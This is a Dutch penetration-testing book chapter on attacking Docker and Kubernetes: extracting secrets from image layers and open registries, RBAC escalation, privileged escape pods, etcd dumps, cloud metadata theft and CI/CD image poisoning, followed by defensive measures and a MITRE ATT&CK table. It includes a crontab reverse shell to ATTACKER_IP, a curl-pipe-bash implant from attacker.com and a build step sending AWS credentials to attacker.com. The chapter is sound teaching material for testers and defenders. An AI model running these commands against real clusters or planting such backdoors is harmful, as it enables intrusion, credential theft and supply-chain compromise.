Het meest voorkomende probleem met Docker images is het lekken van secrets via layers. Zelfs als een secret wordt verwijderd in een latere layer, bestaat het nog steeds in de voorgaande layer.

# Docker history toont alle layers en hun commando's
docker history TARGET_IMAGE --no-trunc
# Kijk naar COPY en ENV instructies die secrets bevatten

# Voorbeeld output:
# IMAGE          CREATED BY                                      SIZE
# a1b2c3d4       /bin/sh -c rm /app/credentials.json             0B
# e5f6a7b8       /bin/sh -c #(nop) COPY file:abc123... /app/     1.2kB
# c9d0e1f2       /bin/sh -c pip install -r requirements.txt      45MB

# De "rm" in de eerste regel is zinloos - het bestand
# is nog steeds beschikbaar in layer e5f6a7b8
# dive - interactieve tool voor layer-analyse
# https://github.com/wagoodman/dive
dive TARGET_IMAGE

# Of handmatig layers extracten:
# Stap 1: Sla de image op als tar
docker save TARGET_IMAGE -o image.tar

# Stap 2: Pak de tar uit
mkdir image_layers && cd image_layers
tar xf ../image.tar

# Stap 3: Elke directory is een layer
# manifest.json vertelt je de volgorde
cat manifest.json | python3 -m json.tool

# Stap 4: Doorzoek elke layer op secrets
for layer in */layer.tar; do
    echo "=== $layer ==="
    tar tf "$layer" | grep -iE '(\.env|\.key|\.pem|password|secret|credential|token|kubeconfig)'
done

# Stap 5: Extract een specifiek bestand uit een layer
tar xf <layer_dir>/layer.tar ./app/credentials.json
cat ./app/credentials.json
# Geautomatiseerd secrets scannen met trufflehog
trufflehog docker --image TARGET_IMAGE

# Of met Syft + Grype voor vulnerability scanning
syft TARGET_IMAGE -o json | grype

Multi-stage build leaks

Multi-stage builds zijn ontworpen om kleinere en veiligere images te produceren. Maar ze worden vaak verkeerd gebruikt:

# FOUT: Secret in builder stage, maar builder stage is nog steeds pushbaar
FROM golang:1.21 AS builder
COPY . /app
# .env en andere secrets zitten nu in de builder stage
RUN go build -o /app/server

FROM alpine:3.18
COPY --from=builder /app/server /server
# Final stage is schoon, maar als iemand de builder stage pusht...

Het risico: als de builder stage als apart image wordt gepusht (wat sommige CI/CD pipelines doen voor caching), zijn alle secrets beschikbaar. Controleer altijd welke stages worden gepusht.

# Controleer of intermediate stages zijn gepusht
docker images | grep -i build
# Kijk in de registry voor onverwachte tags
curl -s https://REGISTRY/v2/APP/tags/list | python3 -m json.tool

6.5 Docker Registry Exploitation

Unauthenticated registries

Private Docker registries draaien vaak zonder authenticatie op interne netwerken. Dit is een van die dingen die je als penetratietester met een mengeling van ongeloof en dankbaarheid constateert. Een registry die alle container images van de organisatie bevat – met al hun secrets, configuraties en source code – open en bloot op het netwerk.

# Stap 1: Ontdek registries op het netwerk
nmap -p 5000,443,8443 -sV SUBNET/24 | grep -i registry

# Stap 2: Test of de registry unauthenticated is
curl -s https://REGISTRY:5000/v2/
# {} = unauthenticated access!
# 401 = authenticatie vereist (maar test ook anonymous)

# Stap 3: Lijst alle repositories
curl -s https://REGISTRY:5000/v2/_catalog
# {"repositories":["webapp","api","internal-tools","jenkins-agent"]}

# Stap 4: Lijst alle tags van een repository
curl -s https://REGISTRY:5000/v2/webapp/tags/list
# {"name":"webapp","tags":["latest","v2.1","dev","staging"]}

# Stap 5: Haal het manifest op (bevat layer digests)
curl -s https://REGISTRY:5000/v2/webapp/manifests/latest \
    -H "Accept: application/vnd.docker.distribution.manifest.v2+json"

# Stap 6: Download een specifieke layer (blob)
curl -s https://REGISTRY:5000/v2/webapp/blobs/sha256:ABC123... -o layer.tar.gz

# Stap 7: Analyseer de layer op secrets
tar xzf layer.tar.gz
grep -rn -iE '(password|secret|key|token|credential)' .
find . -name "*.env" -o -name "*.key" -o -name "*.pem" -o -name "kubeconfig"
# Geautomatiseerd met DockerRegistryGrabber
# https://github.com/Syzik/DockerRegistryGrabber
python3 drg.py https://REGISTRY:5000 --dump_all

# Of handmatig alle images dumpen:
for repo in $(curl -s https://REGISTRY:5000/v2/_catalog | python3 -c "import sys,json; [print(r) for r in json.load(sys.stdin)['repositories']]"); do
    echo "[*] Pulling $repo:latest"
    docker pull REGISTRY:5000/$repo:latest 2>/dev/null
done

Credential extraction uit manifests

Image manifests bevatten soms configuratie die credentials onthult:

# Haal de image configuratie op
curl -s https://REGISTRY:5000/v2/webapp/manifests/latest \
    -H "Accept: application/vnd.docker.distribution.manifest.v2+json" \
    | python3 -c "
import sys, json
manifest = json.load(sys.stdin)
config_digest = manifest['config']['digest']
print(config_digest)
"

# Download de config blob
curl -s https://REGISTRY:5000/v2/webapp/blobs/sha256:CONFIG_DIGEST \
    | python3 -m json.tool

# De config bevat:
# - Alle ENV variabelen (inclusief secrets!)
# - De volledige Dockerfile history
# - Labels en annotations
# - De user waaronder de container draait

Registry push: images vervangen

Als je schrijftoegang hebt tot de registry, kun je images vervangen met getrojaniseerde versies:

# Stap 1: Pull het originele image
docker pull REGISTRY:5000/webapp:latest

# Stap 2: Voeg een backdoor toe
cat > Dockerfile.backdoor << 'EOF'
FROM REGISTRY:5000/webapp:latest
RUN apt-get update && apt-get install -y netcat-openbsd
RUN echo "* * * * * root nc -e /bin/bash ATTACKER_IP 4444" >> /etc/crontab
EOF

docker build -f Dockerfile.backdoor -t REGISTRY:5000/webapp:latest .

# Stap 3: Push het getrojaniseerde image
docker push REGISTRY:5000/webapp:latest

# De volgende keer dat iemand het image pullt en draait,
# krijg je een reverse shell. Elke minuut. Voor altijd.

Dit is een supply chain-aanval in zijn puurste vorm. Geen zero-day nodig, geen exploit, alleen een registry die schrijfbaar is. De MITRE ATT&CK referentie is T1525 (Implant Internal Image).

6.6 Kubernetes Fundamenten

Van containers naar orkestatie

Docker is prima voor een enkel systeem met een handvol containers. Maar wat als je honderden containers hebt, verdeeld over tientallen servers, die automatisch moeten schalen, herstarten na een crash, en met elkaar moeten communiceren? Dan heb je een orkestratiesysteem nodig. En dat systeem is, in de overgrote meerderheid van de gevallen, Kubernetes.

Kubernetes – vaak afgekort als K8s, want developers vinden het blijkbaar onacceptabel om acht letters uit te typen – is een container-orkestratieplatform dat oorspronkelijk is ontwikkeld door Google. Het beheert de levenscyclus van containers op schaal, en het is complex. Ongelofelijk complex. Zo complex dat er een hele industrie is ontstaan van bedrijven die je helpen om Kubernetes te begrijpen, te configureren, te monitoren en te beveiligen. Het is complexiteit die complexiteit genereert, als een soort digitale voortplanting.

Maar voor een penetratietester is Kubernetes een paradijs. Een systeem met tientallen componenten, honderden configuratie-opties, en duizenden manieren om het verkeerd te doen. De aanvalsoppervlakte is enorm.

Kerncomponenten

┌──────────────────────────────────────────────────────────┐
│                     Control Plane                         │
│  ┌──────────┐ ┌───────────┐ ┌──────────┐ ┌───────────┐  │
│  │API Server│ │ Scheduler │ │Controller│ │   etcd    │  │
│  │ (6443)   │ │           │ │ Manager  │ │ (2379)    │  │
│  └────┬─────┘ └───────────┘ └──────────┘ └───────────┘  │
│       │                                                   │
├───────┼──────────────────────────────────────────────────┤
│       │              Worker Nodes                         │
│  ┌────┴─────────────────────────────────────────────┐    │
│  │  ┌────────┐  ┌────────────┐  ┌────────────────┐  │    │
│  │  │kubelet │  │kube-proxy  │  │Container       │  │    │
│  │  │(10250) │  │            │  │Runtime (CRI)   │  │    │
│  │  └────────┘  └────────────┘  └────────────────┘  │    │
│  │                                                   │    │
│  │  ┌──────┐ ┌──────┐ ┌──────┐ ┌──────┐            │    │
│  │  │Pod A │ │Pod B │ │Pod C │ │Pod D │            │    │
│  │  └──────┘ └──────┘ └──────┘ └──────┘            │    │
│  └───────────────────────────────────────────────────┘    │
└──────────────────────────────────────────────────────────┘

Pods zijn de kleinste deploybare eenheden. Een pod bevat een of meer containers die een netwerk namespace en opslag delen. In de praktijk draait er meestal een container per pod, maar sidecar patterns (waarbij een helper-container naast de main container draait) zijn gebruikelijk.

Services bieden een stabiel endpoint voor een set pods. Pods zijn efemeer – ze worden gecreeerd en vernietigd – maar een service biedt een vast IP-adres en DNS-naam. Typen services:

Type Bereik Gebruik
ClusterIP Alleen binnen het cluster Interne communicatie
NodePort Extern via node IP:poort Development/testing
LoadBalancer Extern via cloud LB Productie
ExternalName DNS CNAME Externe services mappen

Namespaces zijn logische scheidingen binnen een cluster. Standaard namespaces zijn default, kube-system (control plane componenten), kube-public en kube-node-lease. Organisaties gebruiken namespaces om teams, omgevingen of applicaties te scheiden. Maar let op: namespaces zijn geen beveiligingsgrens. Zonder Network Policies kan elke pod communiceren met elke andere pod, ongeacht namespace.

RBAC (Role-Based Access Control) beheert wie wat mag doen in het cluster. Het model:

# Role: definieert permissies binnen een namespace
apiVersion: rbac.authorization.k8s.io/v1
kind: Role
metadata:
  namespace: production
  name: pod-reader
rules:
- apiGroups: [""]
  resources: ["pods"]
  verbs: ["get", "watch", "list"]

---
# ClusterRole: definieert cluster-brede permissies
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
  name: secret-reader
rules:
- apiGroups: [""]
  resources: ["secrets"]
  verbs: ["get", "list"]

---
# RoleBinding: koppelt een Role aan een subject
apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
  name: read-pods
  namespace: production
subjects:
- kind: ServiceAccount
  name: my-app
  namespace: production
roleRef:
  kind: Role
  name: pod-reader
  apiGroup: rbac.authorization.k8s.io

Service Accounts zijn identiteiten voor pods. Elke pod draait onder een service account, en dat account bepaalt welke API-calls de pod mag maken. Standaard wordt er in elke namespace een default service account aangemaakt, en standaard wordt het token van dat account automatisch gemount in elke pod. Dit is een van de meest misbruikte defaults in Kubernetes.

etcd is de gedistribueerde key-value store waarin de volledige staat van het cluster is opgeslagen. Alles. Secrets, configuraties, RBAC-regels, pod-definities – alles zit in etcd. Wie etcd kan lezen, heeft alles. Wie etcd kan schrijven, is het cluster.

6.7 Kubernetes Enumeration

Vanuit een pod

Je hebt een shell in een Kubernetes pod. Misschien via een kwetsbare webapplicatie, misschien via een container image met een backdoor, misschien via een gelekte kubeconfig. Het maakt niet uit hoe – je bent er. Tijd voor verkenning.

# Stap 1: Bevestig dat je in Kubernetes zit
# Service account token (automatisch gemount in de meeste pods)
ls -la /var/run/secrets/kubernetes.io/serviceaccount/
# ca.crt  namespace  token

# Kubernetes environment variables
env | grep KUBERNETES
# KUBERNETES_SERVICE_HOST=10.96.0.1
# KUBERNETES_SERVICE_PORT=443

# Stap 2: Stel kubectl in (als het beschikbaar is)
# Zo niet, gebruik curl met het service account token
export APISERVER=https://${KUBERNETES_SERVICE_HOST}:${KUBERNETES_SERVICE_PORT}
export TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
export CACERT=/var/run/secrets/kubernetes.io/serviceaccount/ca.crt
export NAMESPACE=$(cat /var/run/secrets/kubernetes.io/serviceaccount/namespace)

# Stap 3: Test API-toegang
# Met kubectl:
kubectl auth can-i --list
# Toont ALLE permissies van het huidige service account

# Met curl:
curl -s --cacert $CACERT -H "Authorization: Bearer $TOKEN" \
    $APISERVER/api/v1/namespaces/$NAMESPACE/pods

# Stap 4: Enumerate de namespace
kubectl get pods -n $NAMESPACE
kubectl get services -n $NAMESPACE
kubectl get secrets -n $NAMESPACE
kubectl get configmaps -n $NAMESPACE
kubectl get serviceaccounts -n $NAMESPACE
kubectl get roles -n $NAMESPACE
kubectl get rolebindings -n $NAMESPACE

# Stap 5: Probeer cluster-breed te enumereren
kubectl get namespaces
kubectl get nodes
kubectl get pods --all-namespaces
kubectl get secrets --all-namespaces
kubectl get clusterroles
kubectl get clusterrolebindings

IB Tip: kubectl auth can-i --list is je beste vriend in Kubernetes. Het vertelt je precies wat je huidige service account mag doen. Draai het als eerste commando na het betreden van een pod.

API Server discovery

Als je niet in een pod zit maar op het netwerk, moet je de API server vinden:

# Standaard poorten
nmap -p 6443,8443,8080,443,10250,10255,2379 -sV TARGET_RANGE

# 6443  - Kubernetes API server (standaard HTTPS)
# 8443  - Alternatieve API server poort
# 8080  - API server insecure port (als ingeschakeld -- jackpot)
# 10250 - Kubelet API (HTTPS)
# 10255 - Kubelet read-only (als ingeschakeld)
# 2379  - etcd client port
# 2380  - etcd peer port

# Test unauthenticated API access
curl -sk https://TARGET:6443/api
curl -sk https://TARGET:6443/api/v1
curl -sk https://TARGET:6443/api/v1/namespaces
curl -sk https://TARGET:6443/api/v1/pods
curl -sk https://TARGET:6443/version

# Insecure port (geen authenticatie!)
curl -s http://TARGET:8080/api/v1/pods

# Kubelet API
curl -sk https://TARGET:10250/pods
curl -sk https://TARGET:10250/runningpods

# Kubelet read-only
curl -s http://TARGET:10255/pods

De insecure port (8080) is standaard uitgeschakeld in moderne Kubernetes-versies, maar komt nog regelmatig voor in oudere installaties en development-omgevingen. Als die poort open staat, heb je volledige API-toegang zonder enige authenticatie. Het is het equivalent van een Domain Controller zonder wachtwoord.

Unauthenticated access patterns

# Anonymous auth check
curl -sk https://TARGET:6443/api/v1/namespaces/default/pods \
    --header "Authorization: Bearer invalid"
# Als je een 403 krijgt in plaats van 401: anonymous auth is ingeschakeld

# system:anonymous permissions
kubectl auth can-i --list --as=system:anonymous
# Of via curl (geen auth header):
curl -sk https://TARGET:6443/apis/authorization.k8s.io/v1/selfsubjectaccessreviews \
    -X POST -H "Content-Type: application/json" \
    -d '{"apiVersion":"authorization.k8s.io/v1","kind":"SelfSubjectAccessReview","spec":{"resourceAttributes":{"namespace":"default","verb":"list","resource":"secrets"}}}'

Service account token theft

Service account tokens zijn JWT’s die je kunt decoderen en hergebruiken:

# Decode het token (het is een JWT)
cat /var/run/secrets/kubernetes.io/serviceaccount/token | \
    cut -d. -f2 | base64 -d 2>/dev/null | python3 -m json.tool

# Output toont:
# - "sub": het service account (system:serviceaccount:namespace:name)
# - "iss": de issuer (de API server)
# - "exp": expiration (als ingesteld)

# Gebruik het token vanuit een andere machine
kubectl --token="$TOKEN" --server="https://API_SERVER:6443" \
    --insecure-skip-tls-verify get pods

6.8 Kubernetes Aanvallen

RBAC Escalatie

RBAC in Kubernetes is krachtig, maar complexiteit is de vijand van beveiliging. Sommige permissie-combinaties zijn gevaarlijker dan ze lijken:

# GEVAARLIJK: create pods = code execution
rules:
- apiGroups: [""]
  resources: ["pods"]
  verbs: ["create"]
# Wie pods kan aanmaken, kan willekeurige code draaien in het cluster

# GEVAARLIJK: get secrets = credential theft
rules:
- apiGroups: [""]
  resources: ["secrets"]
  verbs: ["get", "list"]
# Alle secrets in de namespace, inclusief service account tokens

# GEVAARLIJK: create/patch rolebindings = privilege escalation
rules:
- apiGroups: ["rbac.authorization.k8s.io"]
  resources: ["rolebindings", "clusterrolebindings"]
  verbs: ["create", "patch"]
# Kan zichzelf cluster-admin maken

# GEVAARLIJK: pods/exec = container shell
rules:
- apiGroups: [""]
  resources: ["pods/exec"]
  verbs: ["create"]
# Shell in elke pod in de namespace

Escalatie via pod creation

Als je pods kunt aanmaken, kun je een pod starten met willekeurige specificaties:

# Malicious pod die het host-filesysteem mount
apiVersion: v1
kind: Pod
metadata:
  name: escape-pod
  namespace: default
spec:
  containers:
  - name: pwned
    image: alpine
    command: ["/bin/sh", "-c", "sleep infinity"]
    volumeMounts:
    - name: host-root
      mountPath: /host
    securityContext:
      privileged: true
  volumes:
  - name: host-root
    hostPath:
      path: /
      type: Directory
  hostNetwork: true
  hostPID: true
  # Optioneel: draai op een specifiek node
  # nodeName: master-node
# Deploy de malicious pod
kubectl apply -f escape-pod.yaml

# Shell in de pod
kubectl exec -it escape-pod -- /bin/sh

# Chroot naar het host-filesysteem
chroot /host /bin/bash

# Je bent nu root op de Kubernetes node
whoami
# root
hostname
# k8s-worker-01

Escalatie via secrets

# Lees alle secrets in de namespace
kubectl get secrets -o yaml

# Secrets zijn base64-encoded (niet versleuteld!)
kubectl get secret my-app-secret -o jsonpath='{.data.password}' | base64 -d

# Lees alle secrets in alle namespaces (als je clusterrol hebt)
kubectl get secrets --all-namespaces -o yaml | grep -A2 "password\|token\|key\|secret"

# Service account tokens van andere service accounts
kubectl get secrets -n kube-system -o yaml | grep -A5 "token"

Escalatie via rolebinding manipulation

# Als je rolebindings kunt aanmaken of patchen:
kubectl create clusterrolebinding pwned-admin \
    --clusterrole=cluster-admin \
    --serviceaccount=default:default

# Nu heeft het default service account cluster-admin rechten
kubectl auth can-i --list
# Resources   Verbs
# *.*         [*]
# Alles. Je bent God.

Pod escape naar node

Naast de eerder besproken container escape-technieken zijn er Kubernetes-specifieke paden:

# hostPID: zie en interact met host processen
apiVersion: v1
kind: Pod
metadata:
  name: host-pid-pod
spec:
  hostPID: true
  containers:
  - name: nsenter
    image: alpine
    command: ["nsenter", "-t", "1", "-m", "-u", "-i", "-n", "-p", "--", "/bin/bash"]
    securityContext:
      privileged: true
# hostNetwork: gebruik het netwerk van de host
apiVersion: v1
kind: Pod
metadata:
  name: host-net-pod
spec:
  hostNetwork: true
  containers:
  - name: scanner
    image: alpine
    command: ["/bin/sh", "-c", "sleep infinity"]

Met hostNetwork: true heeft je pod hetzelfde netwerk als de host node. Je kunt interne services bereiken, andere nodes scannen, en verkeer sniffen dat normaal niet toegankelijk is vanuit het pod-netwerk.

etcd Access

etcd is de schatkamer van Kubernetes. Als je erbij kunt, heb je alles:

# Controleer of etcd bereikbaar is
curl -sk https://ETCD_IP:2379/version

# Als client certificates nodig zijn, zoek ze op de master node:
ls /etc/kubernetes/pki/etcd/
# ca.crt  healthcheck-client.crt  healthcheck-client.key
# peer.crt  peer.key  server.crt  server.key

# Lees alle secrets uit etcd
ETCDCTL_API=3 etcdctl \
    --endpoints=https://ETCD_IP:2379 \
    --cacert=/etc/kubernetes/pki/etcd/ca.crt \
    --cert=/etc/kubernetes/pki/etcd/healthcheck-client.crt \
    --key=/etc/kubernetes/pki/etcd/healthcheck-client.key \
    get / --prefix --keys-only | grep secrets

# Dump een specifiek secret
ETCDCTL_API=3 etcdctl \
    --endpoints=https://ETCD_IP:2379 \
    --cacert=/etc/kubernetes/pki/etcd/ca.crt \
    --cert=/etc/kubernetes/pki/etcd/healthcheck-client.crt \
    --key=/etc/kubernetes/pki/etcd/healthcheck-client.key \
    get /registry/secrets/default/my-secret

# Dump ALLES
ETCDCTL_API=3 etcdctl \
    --endpoints=https://ETCD_IP:2379 \
    --cacert=/etc/kubernetes/pki/etcd/ca.crt \
    --cert=/etc/kubernetes/pki/etcd/healthcheck-client.crt \
    --key=/etc/kubernetes/pki/etcd/healthcheck-client.key \
    get / --prefix

Kubernetes secrets in etcd zijn standaard niet versleuteld – ze zijn base64-encoded. Dat is geen encryptie. Dat is een encoding die iedereen kan omdraaien. Het verschil tussen base64-encoding en encryptie is het verschil tussen de deur dichtdoen en de deur op slot doen. Encryption at rest moet expliciet worden geconfigureerd via een EncryptionConfiguration.

6.9 Container Network Attacks

Het platte netwerk probleem

Standaard kan in Kubernetes elke pod met elke andere pod communiceren, ongeacht namespace. Er zijn geen firewallregels, geen segmentatie, geen restricties. Het is de middeleeuwse stad zonder muren tussen de wijken, maar dan in containers.

# Vanuit een pod: scan het pod-netwerk
# Het pod CIDR is vaak 10.244.0.0/16 of 10.42.0.0/16
# Controleer via:
ip addr
# Of:
cat /etc/resolv.conf
# De nameserver IP geeft een indicatie van het cluster netwerk

# Scan het pod-netwerk
# (als nmap beschikbaar is of je het kunt uploaden)
nmap -sn 10.244.0.0/16
nmap -p 80,443,8080,3306,5432,6379,27017 10.244.0.0/16

# DNS-based service discovery
# Kubernetes DNS volgt het patroon:
# <service>.<namespace>.svc.cluster.local
nslookup kubernetes.default.svc.cluster.local
nslookup _http._tcp.default.svc.cluster.local SRV

# Enumerate services via DNS
for ns in $(kubectl get namespaces -o jsonpath='{.items[*].metadata.name}' 2>/dev/null); do
    for svc in $(kubectl get services -n $ns -o jsonpath='{.items[*].metadata.name}' 2>/dev/null); do
        echo "$svc.$ns.svc.cluster.local"
    done
done

Service mesh bypass

Service meshes zoals Istio en Linkerd voegen een sidecar proxy toe aan elke pod die verkeer intercepteert en mTLS afdwingt. Maar:

# Bypass 1: Direct communiceren met de applicatie-poort
# De sidecar proxy luistert op 15001 (Istio envoy)
# De applicatie luistert op zijn eigen poort
# Als je IN de pod zit, kun je localhost:APP_PORT direct bereiken
curl http://localhost:8080/api/internal

# Bypass 2: Communiceer via het pod IP in plaats van de service
# mTLS wordt afgedwongen op service-niveau
# Pod-to-pod verkeer kan soms de mesh omzeilen
curl http://POD_IP:APP_PORT/api/internal

# Bypass 3: Init container race condition
# De Istio sidecar wordt gestart als init container
# Als je applicatie sneller start, is er een window zonder mTLS

DNS spoofing in het cluster

Kubernetes DNS (CoreDNS) is een kritiek component. Als je het kunt manipuleren, kun je verkeer redirecten:

# Controleer welke DNS-server wordt gebruikt
cat /etc/resolv.conf
# nameserver 10.96.0.10
# search default.svc.cluster.local svc.cluster.local cluster.local

# Als je toegang hebt tot CoreDNS configmap:
kubectl get configmap coredns -n kube-system -o yaml

# Modificeer het DNS om verkeer te redirecten
kubectl edit configmap coredns -n kube-system
# Voeg een custom record toe dat een interne service
# redirect naar je aanvaller-pod

Pod-to-pod aanvallen

# ARP spoofing binnen het pod-netwerk
# (CAP_NET_RAW is standaard beschikbaar!)
apt-get install -y dsniff  # of upload arpspoof
arpspoof -i eth0 -t TARGET_POD_IP GATEWAY_IP

# Traffic interception met tcpdump
tcpdump -i eth0 -w capture.pcap

# Metadata service access (cloud-specifiek)
# AWS
curl -s http://169.254.169.254/latest/meta-data/
curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/

# GCP
curl -s -H "Metadata-Flavor: Google" http://169.254.169.254/computeMetadata/v1/

# Azure
curl -s -H "Metadata: true" "http://169.254.169.254/metadata/instance?api-version=2021-02-01"

De cloud metadata service is een bijzonder sappig doelwit vanuit een Kubernetes pod. De metadata service draait op 169.254.169.254 en is bereikbaar vanuit elke pod, tenzij een Network Policy dit expliciet blokkeert. Via de metadata service kun je tijdelijke cloud credentials verkrijgen die toegang geven tot de cloud-omgeving buiten het cluster.

6.10 CI/CD Container Attacks

Image registry poisoning

We hebben dit eerder aangestipt bij registry exploitation, maar in de context van CI/CD wordt het nog gevaarlijker:

# Scenario: je hebt schrijftoegang tot de interne registry

# Stap 1: Identificeer base images die door CI/CD worden gebruikt
# Kijk in Dockerfiles en CI configuraties
grep -r "FROM " /path/to/repos/ | sort -u
# FROM internal-registry.company.com/base/python:3.11
# FROM internal-registry.company.com/base/node:18

# Stap 2: Trojaniseer het base image
docker pull internal-registry.company.com/base/python:3.11

cat > Dockerfile.trojan << 'EOF'
FROM internal-registry.company.com/base/python:3.11
RUN curl -s https://attacker.com/implant.sh | bash
# Of subtieler: voeg een dependency toe die belt naar huis
RUN pip install legit-looking-package
EOF

docker build -f Dockerfile.trojan -t internal-registry.company.com/base/python:3.11 .
docker push internal-registry.company.com/base/python:3.11

# Stap 3: Wacht tot de volgende CI/CD build het gepoisonde image pullt
# Elke applicatie die dit base image gebruikt, is nu gecompromitteerd

Build pipeline compromise

# Voorbeeld: malicious Dockerfile stap in CI
# Een aanvaller die een Dockerfile kan wijzigen in een repo
# kan de build pipeline misbruiken om secrets te exfiltreren

FROM python:3.12-slim
WORKDIR /app
COPY . .
# De volgende regel exfiltreert build-time secrets
RUN --mount=type=secret,id=aws_creds,target=/tmp/creds \
    curl -X POST https://attacker.com/collect \
    -d @/tmp/creds
RUN pip install -r requirements.txt
CMD ["python", "app.py"]

Admission controller bypass

Kubernetes admission controllers (zoals OPA Gatekeeper of Kyverno) valideren pod-specificaties voordat ze worden toegelaten. Maar ze zijn te omzeilen:

# Bypass via ephemeral containers (vaak niet afgedekt door policies)
kubectl debug -it existing-pod --image=alpine --target=main-container

# Bypass via init containers (soms niet gevalideerd)
apiVersion: v1
kind: Pod
metadata:
  name: bypass-pod
spec:
  initContainers:
  - name: init-escape
    image: alpine
    command: ["/bin/sh", "-c", "cat /run/secrets/kubernetes.io/serviceaccount/token > /shared/token"]
    securityContext:
      privileged: true   # Init container policy niet afgedwongen?
    volumeMounts:
    - name: shared
      mountPath: /shared
  containers:
  - name: main
    image: alpine
    command: ["/bin/sh", "-c", "sleep infinity"]
    volumeMounts:
    - name: shared
      mountPath: /shared
  volumes:
  - name: shared
    emptyDir: {}

Verdedigingsmaatregelen

Het zou onverantwoord zijn om alleen aanvalstechnieken te beschrijven zonder de verdediging te behandelen. Hier is wat daadwerkelijk werkt – en wat niet meer is dan security theater.

Pod Security Standards

Kubernetes Pod Security Standards (PSS) vervangen de oudere PodSecurityPolicies en definiëren drie niveaus:

Niveau Beschrijving Wat het blokkeert
Privileged Geen restricties Niets – alles is toegestaan
Baseline Minimale restricties Privileged containers, hostNetwork, hostPID, hostIPC
Restricted Maximale restricties Root user, alle host namespaces, privilege escalation, capabilities
# Enforcement via namespace labels
apiVersion: v1
kind: Namespace
metadata:
  name: production
  labels:
    pod-security.kubernetes.io/enforce: restricted
    pod-security.kubernetes.io/audit: restricted
    pod-security.kubernetes.io/warn: restricted

Network Policies

# Default deny all ingress en egress
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
  name: default-deny
  namespace: production
spec:
  podSelector: {}
  policyTypes:
  - Ingress
  - Egress

---
# Sta alleen specifiek verkeer toe
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
  name: allow-webapp-to-db
  namespace: production
spec:
  podSelector:
    matchLabels:
      app: database
  policyTypes:
  - Ingress
  ingress:
  - from:
    - podSelector:
        matchLabels:
          app: webapp
    ports:
    - protocol: TCP
      port: 5432

---
# Blokkeer metadata service (cruciaal in cloud!)
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
  name: block-metadata
  namespace: production
spec:
  podSelector: {}
  policyTypes:
  - Egress
  egress:
  - to:
    - ipBlock:
        cidr: 0.0.0.0/0
        except:
        - 169.254.169.254/32

IB Tip: Network Policies werken alleen als de CNI-plugin ze ondersteunt. Calico, Cilium en WeaveNet ondersteunen ze. Flannel doet dat standaard niet. Controleer altijd welke CNI-plugin actief is voordat je aanneemt dat Network Policies worden afgedwongen.

Runtime security: Falco

Falco is een runtime security-tool die syscalls monitort en alerts genereert bij verdacht gedrag:

# Falco regel: detecteer container escape pogingen
- rule: Container Escape via Mount
  desc: Detecteer het mounten van het host-filesysteem vanuit een container
  condition: >
    evt.type = mount and container and
    evt.arg.source startswith "/dev/sd"
  output: >
    Container escape poging gedetecteerd
    (user=%user.name container=%container.name
     image=%container.image.repository
     source=%evt.arg.source)
  priority: CRITICAL

- rule: Docker Socket Accessed in Container
  desc: Detecteer toegang tot de Docker socket vanuit een container
  condition: >
    evt.type in (open, openat) and
    container and fd.name = /var/run/docker.sock
  output: >
    Docker socket benaderd vanuit container
    (user=%user.name container=%container.name
     image=%container.image.repository)
  priority: WARNING

Image scanning

# Trivy - vulnerability scanner
trivy image TARGET_IMAGE
trivy image --severity CRITICAL,HIGH TARGET_IMAGE

# Grype
grype TARGET_IMAGE

# Snyk
snyk container test TARGET_IMAGE

# In CI/CD pipeline:
# Blokkeer images met CRITICAL vulnerabilities
trivy image --exit-code 1 --severity CRITICAL TARGET_IMAGE

Referentietabel

Techniek Categorie MITRE ATT&CK Complexiteit
Docker socket escape Container Escape T1611 - Escape to Host Laag
Privileged container escape Container Escape T1611 Laag
Cgroup release_agent Container Escape T1611 Middel
nsenter host escape Container Escape T1611 Laag
Kernel exploit (container) Container Escape T1068 - Exploitation for Privilege Escalation Hoog
runc overwrite (CVE-2019-5736) Container Escape T1611 Middel
Image layer secret extraction Credential Access T1552.001 - Credentials In Files Laag
Registry enumeration Discovery T1613 - Container and Resource Discovery Laag
Registry image poisoning Persistence T1525 - Implant Internal Image Middel
K8s API unauthenticated access Initial Access T1190 - Exploit Public-Facing Application Laag
K8s secret theft Credential Access T1552.007 - Container API Laag
K8s RBAC escalation Privilege Escalation T1078.001 - Default Accounts Middel
K8s pod creation escape Privilege Escalation T1610 - Deploy Container Middel
etcd credential dump Credential Access T1552.007 Middel
Metadata service abuse Credential Access T1552.005 - Cloud Instance Metadata API Laag
DNS spoofing in cluster Collection T1557 - Adversary-in-the-Middle Middel
Service mesh bypass Defense Evasion T1562.001 - Disable or Modify Tools Middel
Admission controller bypass Defense Evasion T1562.001 Hoog
CI/CD base image poisoning Supply Chain T1195.002 - Compromise Software Supply Chain Middel
Build pipeline compromise Execution T1204.003 - Malicious Image Middel

In het volgende hoofdstuk verlaten we de container en kijken we naar het systeem dat die containers bouwt, test en deployt: de CI/CD pipeline. Als containers de cellen zijn in onze digitale gevangenis, dan is de CI/CD pipeline de fabriek die de cellen bouwt. En die fabriek, zo blijkt, heeft zijn eigen deuren en ramen die niet op slot zitten.

CI/CD Pipeline Aanvallen

CI/CD Pipeline Aanvallen

Waarin we ontdekken dat de machines die onze software bouwen, testen en deployen dezelfde machines zijn die de sleutels tot het koninkrijk bewaken – en dat niemand de bewakers bewaakt.

7.1 De software supply chain

Waarom CI/CD het nieuwe aanvalsoppervlak is

Er was een tijd – niet eens zo lang geleden – dat software werd gebouwd op de laptop van een developer, gekopieerd naar een USB-stick, en door een systeembeheerder handmatig op een server gezet. Het was primitief, foutgevoelig en volstrekt onschaalbaar. Maar het had een eigenschap die we pas zijn gaan waarderen nu we die kwijt zijn: de aanvalsoppervlakte was beperkt tot de mensen die fysiek bij de server konden.

Nu wordt software gebouwd door geautomatiseerde systemen die code ophalen uit repositories, afhankelijkheden downloaden van publieke package managers, tests draaien in gedeelde omgevingen, secrets injecteren tijdens het build-proces, en het resultaat deployen naar productie – allemaal zonder dat een mens er naar kijkt. Het is efficienter. Het is schaalbaarder. En het is een nachtmerrie voor beveiliging.

